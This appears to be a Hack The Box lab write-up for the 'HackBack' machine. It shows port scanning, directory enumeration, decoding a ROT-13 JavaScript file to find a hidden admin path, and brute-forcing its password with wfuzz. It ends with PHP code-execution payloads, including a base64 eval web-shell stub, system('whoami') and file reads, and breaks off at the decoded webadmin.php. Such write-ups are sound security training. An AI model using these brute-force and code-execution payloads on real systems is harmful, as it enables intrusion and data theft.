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Hack The Box - HackBack
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HackTheBox-HackBack.md

Techniques

Tools

  • nmap

Setup

  1. Add hackback.htb to the hosts file so we can refer to the host by name 
    $ echo "10.10.10.128 hackback.htb" >> /etc/hosts

Port Scan

  1. Scan for ports and services

    # Use nmap to find available TCP ports quickly
$ hackback_tcp_ports=$( \
    nmap hackback.htb \
         -p- \
         --min-rate=1000 \
         --max-retries=2 \
         -T4 \
         -Pn \
         -oA nmap-tcp-allports \
    | grep ^[0-9] \
    | cut -d '/' -f 1 \
    | tr '\n' ',' \
    | sed s/,$// \
  )

# Scan found ports for services
$ nmap hackback.htb \
       -p ${hackback_tcp_ports} \
       -sV \
       -sC \
       -T4 \
       -Pn \
       -oA nmap-tcp-foundports

  2. Check found ports against the Vulners db/nse script

    $ nmap help.htb \
       -p ${hackback_tcp_ports} \
       --script=vulners \
       -Pn \
       -A \
       -T4 \
       -oA nmap-tcp-foundports-vulners

Web Enumeration: hackback.htb:6666

  1. Enumerate HTTP Port 6666

    Let's start by looking for interesting URL paths:

    $ gobuster -u http://hackback.htb:6666 \
           -w /usr/share/seclists/Discovery/Web-Content/common.txt 

=====================================================
Gobuster v2.0.1              OJ Reeves (@TheColonial)
=====================================================
[+] Mode         : dir
[+] Url/Domain   : http://hackback.htb:6666/
[+] Threads      : 10
[+] Wordlist     : /usr/share/seclists/Discovery/Web-Content/common.txt
[+] Status codes : 200,204,301,302,307,403
[+] Timeout      : 10s
=====================================================
2019/07/06 20:05:51 Starting gobuster
=====================================================
/Help (Status: 200)
/Services (Status: 200)
/hello (Status: 200)
/help (Status: 200)
/info (Status: 200)
/list (Status: 200)
/netstat (Status: 200)
/proc (Status: 200)
/services (Status: 200)
=====================================================
2019/07/06 20:06:31 Finished
=====================================================

    Let's try the help endpoint:

    $ curl hackback.htb:6666/help
"hello,proc,whoami,list,info,services,netsat,ipconfig"

    After trying a few of the endpoints, it looks like we can figure out the name of the process that is serving on the port 64831 we foud with nmap:

    # Determine which process ID is using the port we found w/ nmap
$ curl hackback.htb:6666/netstat \
  | jq -r '.[] | "\(.LocalAddress) \(.LocalPort) \(.OwningProcess)"' \
  | grep 64831
:: 64831 4292
10.10.10.128 64831 4292

# Determine the process name of the process ID we just found
$ curl hackback.htb:6666/proc \
  | jq -r '.[] | "\(.Name) \(.Id) \(.Path)"' \
  | grep 4292
gophish 4292 C:\gophish\gophish.exe

Web Enumeration: admin.hackback.htb:80

  1. Enumerate admin.hackback.htb/js/

    $ gobuster -u http://admin.hackback.htb/js/ \
           -w /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt \
           -x js
=====================================================
Gobuster v2.0.1              OJ Reeves (@TheColonial)
=====================================================
[+] Mode         : dir
[+] Url/Domain   : http://admin.hackback.htb/js/
[+] Threads      : 10
[+] Wordlist     : /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt
[+] Status codes : 200,204,301,302,307,403
[+] Extensions   : js
[+] Timeout      : 10s
=====================================================
2019/07/06 20:30:08 Starting gobuster
=====================================================
/private.js (Status: 200)

  2. Look at the private.js file

    Looking at the file it initially looks like gibberish. Trying some simple character shifts reveals that this file has been ecrypted with ROT-13. Simply find a ROT-13 decoder to decode, or use some python like this:

    $ python

Python 2.7.16 (default, Apr  6 2019, 01:42:57) 
[GCC 8.3.0] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> x = "<PASTE_JS_HERE>"

>>> x.decode("rot-13")

    The output should contain plaintext javascript.

  3. Use the browser to inspect javascript vars

    Paste the javascript code into the console window, press return, and then enter the following commands:

    > x
< "Secure Login Bypass"

> z
< "Remember the secret path is"

> h
>"2bb6916122f1da34dcd916421e531578"

> y
< "Just in case I loose access to the admin panel"

> t
< "?action=(show,list,exec,init)"

> s
< "&site=(twitter,paypal,facebook,hackthebox)"

> i
< "&password=********"

> k
< "&session="

> w
< "Nothing more to say"

    Or you can jsut run this single command to dump all the vars:

    > console.log(x, z, h, y, t, s, i, k, w);
    $ gobuster -u http://admin.hackback.htb/2bb6916122f1da34dcd916421e531578/ \
           -w /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt \
           -x php

=====================================================
Gobuster v2.0.1              OJ Reeves (@TheColonial)
=====================================================
[+] Mode         : dir
[+] Url/Domain   : http://admin.hackback.htb/2bb6916122f1da34dcd916421e531578/
[+] Threads      : 10
[+] Wordlist     : /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt
[+] Status codes : 200,204,301,302,307,403
[+] Extensions   : php
[+] Timeout      : 10s
=====================================================
2019/07/06 21:19:41 Starting gobuster
=====================================================
/webadmin.php (Status: 302)

    The webadmin.php endpoint does redirect, but let's try it with the URL params we found in the private.js file:

    $ curl 'http://admin.hackback.htb/2bb6916122f1da34dcd916421e531578/webadmin.php?action=list&site=hackthebox&password=foo&session=foo'

Wrong secret key!

    Looks like it does respond if you give it sufficient params, but complains about aWrong secret key!. Let's try to fuzz the password using a password list:

    $ wfuzz -w /usr/share/commix/src/txt/passwords_john.txt \
        -u 'http://admin.hackback.htb/2bb6916122f1da34dcd916421e531578/webadmin.php?action=list&site=hackthebox&password=FUZZ&session=foo'

********************************************************
* Wfuzz 2.3.4 - The Web Fuzzer                         *
********************************************************

Target: http://admin.hackback.htb/2bb6916122f1da34dcd916421e531578/webadmin.php?action=list&site=hackthebox&password=FUZZ&session=foo
Total requests: 3108

==================================================================
ID   Response   Lines      Word         Chars          Payload    
==================================================================

000002:  C=302      0 L	       3 W	     17 Ch	  "abc123"
000003:  C=302      0 L	       3 W	     17 Ch	  "password"
000004:  C=302      0 L	       3 W	     17 Ch	  "computer"
000005:  C=302      0 L	       3 W	     17 Ch	  "123456"
000006:  C=302      0 L	       3 W	     17 Ch	  "tigger"
000010:  C=302      0 L	       3 W	     17 Ch	  "123"
000011:  C=302      0 L	       3 W	     17 Ch	  "xxx"
<HIT Ctrl-C>

    Looks like most are coming back with a 17 character response, so let's ignore anything with exactly 17 characters and see what's left:

    $ wfuzz -w /usr/share/commix/src/txt/passwords_john.txt \
        -u 'http://admin.hackback.htb/2bb6916122f1da34dcd916421e531578/webadmin.php?action=list&site=hackthebox&password=FUZZ&session=foo' \
        --hh 17

********************************************************
* Wfuzz 2.3.4 - The Web Fuzzer                         *
********************************************************

Target: http://admin.hackback.htb/2bb6916122f1da34dcd916421e531578/webadmin.php?action=list&site=hackthebox&password=FUZZ&session=e3
Total requests: 3108

==================================================================
ID   Response   Lines      Word         Chars          Payload    
==================================================================

000020:  C=302      0 L	       0 W	      0 Ch	  ""
000054:  C=302      6 L	      12 W	    117 Ch	  "12345678"
003108:  C=302      0 L	       0 W	      0 Ch	  ""

Total time: 63.88652
Processed Requests: 3108
Filtered Requests: 3105
Requests/sec.: 48.64875

    We get 2 responses with 0 chars for a null payload, but get a much larger response for 12345678. Let's try to curl the endpoint with URL params and use 12345678 as the password:

    $ curl 'http://admin.hackback.htb/2bb6916122f1da34dcd916421e531578/webadmin.php?action=list&site=hackthebox&password=12345678&session=fooo'
Array
(
    [0] => .
    [1] => ..
    [2] => e691d0d9c19785cf4c5ab50375c10d83130f175f7f89ebd1899eee6a7aab0dd7.log
)

    Success!! :)

  4. eval(base64_decode($_GET['lsec']))
print_r(scandir("/"));
system("whoami");
echo(
  base64_encode( 
    file_get_contents("./webadmin.php")
  )
);
    <?php eval(base64_decode($_GET['lsec']));?>
<?php print_r(scandir("/")); ?>
<?php system("whoami"); ?>
<?php echo(base64_encode(file_get_contents("./webadmin.php"))); ?>
    # Decode the base64 into plaintext
$ base64 -d page.b64 > webadmin.php

# Look at the decoded contents
$ cat webadmin.php
<?php
  $ip_hash = hash('sha256', $_SERVER['REMOTE_ADDR'], false);
  session_id($ip_hash);
  session_start();
  check_action();
?>
...
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